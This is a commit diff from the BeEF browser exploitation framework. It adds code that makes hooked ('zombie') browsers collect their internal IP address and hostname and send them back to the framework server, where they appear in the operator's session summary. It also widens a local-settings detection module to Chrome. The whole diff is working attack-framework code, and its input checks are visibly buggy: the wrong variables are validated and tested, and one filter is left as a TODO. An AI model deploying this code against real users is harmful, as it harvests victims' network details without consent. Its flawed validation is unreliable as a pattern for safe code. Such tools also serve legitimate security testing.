local network settings are now being grabbed as part of the init script
git-svn-id: https://beef.googlecode.com/svn/trunk@545 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -55,6 +55,20 @@ module BeEF
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid host name" if not Filter.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'HostName', host_name)
|
||||
|
||||
# get and store the internal ip address
|
||||
internal_ip = get_param(request.query, 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
#TODO: add Filter
|
||||
BD.set(session_id, 'InternalIP', internal_ip)
|
||||
end
|
||||
|
||||
# get and store the internal hostname
|
||||
internal_hostname = get_param(request.query, 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid internal host name" if not Filter.is_valid_hostname?(host_name)
|
||||
BD.set(session_id, 'InternalHostname', internal_hostname)
|
||||
end
|
||||
|
||||
# init details have been returned so set flag and save
|
||||
hooked_browser.has_init = true
|
||||
@guard.synchronize {
|
||||
@@ -64,7 +78,10 @@ module BeEF
|
||||
response.body = ''
|
||||
end
|
||||
|
||||
# returns a selected parameter from the query string.
|
||||
def get_param(query, key)
|
||||
return nil if query[key].nil?
|
||||
|
||||
b64_param = query[key]
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid init base64 value" if Filter.has_non_printable_char?(b64_param)
|
||||
escaped_param = CGI.unescapeHTML(b64_param)
|
||||
|
||||
@@ -18,7 +18,7 @@ module Modules
|
||||
# set up values required to construct beefjs
|
||||
beefjs = '' # init the beefjs string (to be sent as the beefjs file)
|
||||
beefjs_path = "#{$root_dir}/modules/beefjs/" # location of sub files
|
||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js init.js)
|
||||
js_sub_files = %w(beef.js browser.js browser/cookie.js dom.js net.js updater.js encode/base64.js net/local.js init.js)
|
||||
|
||||
# construct the beefjs string from file(s)
|
||||
js_sub_files.each {|js_sub_file_name|
|
||||
|
||||
@@ -58,7 +58,7 @@ class Modules < BeEF::HttpController
|
||||
host_name = BD.get(zombie_session, 'HostName')
|
||||
encoded_host_name = CGI.escapeHTML(host_name)
|
||||
encoded_host_name_hash = { 'Host Name' => encoded_host_name }
|
||||
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_host_name_hash,
|
||||
@@ -92,9 +92,38 @@ class Modules < BeEF::HttpController
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_version_row) # add the row
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
|
||||
# set and add teh internal ip address
|
||||
internal_ip = BD.get(zombie_session, 'InternalIP')
|
||||
if internal_ip
|
||||
encoded_internal_ip = CGI.escapeHTML(internal_ip)
|
||||
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_ip_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add teh internal hostname
|
||||
internal_hostname = BD.get(zombie_session, 'InternalHostname')
|
||||
if internal_ip
|
||||
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
|
||||
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_hostname_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules in a JSON format
|
||||
|
||||
@@ -106,10 +106,19 @@ beef.net = {
|
||||
sendback_browser_details: function() {
|
||||
// get hash of browser details
|
||||
var details = beef.browser.getDetails();
|
||||
|
||||
|
||||
// grab the internal ip address and hostname
|
||||
var internal_ip = beef.net.local.getLocalAddress();
|
||||
var internal_hostname = beef.net.local.getLocalHostname();
|
||||
|
||||
if(internal_ip && internal_hostname) {
|
||||
details['InternalIP'] = internal_ip;
|
||||
details['InternalHostname'] = internal_hostname;
|
||||
}
|
||||
|
||||
// contruct param string
|
||||
var params = this.construct_params_from_hash(details);
|
||||
|
||||
|
||||
// return data to the framework
|
||||
this.sendback("/init", 0, params);
|
||||
},
|
||||
|
||||
@@ -12,7 +12,10 @@ class Detect_local_settings < BeEF::Command
|
||||
'Author' => ['pdp', 'wade', 'bm'],
|
||||
'File' => __FILE__,
|
||||
'Target' => {
|
||||
'browser_name' => BeEF::Constants::Browsers::FF
|
||||
'browser_name' => [
|
||||
BeEF::Constants::Browsers::FF,
|
||||
BeEF::Constants::Browsers::C
|
||||
]
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
Reference in New Issue
Block a user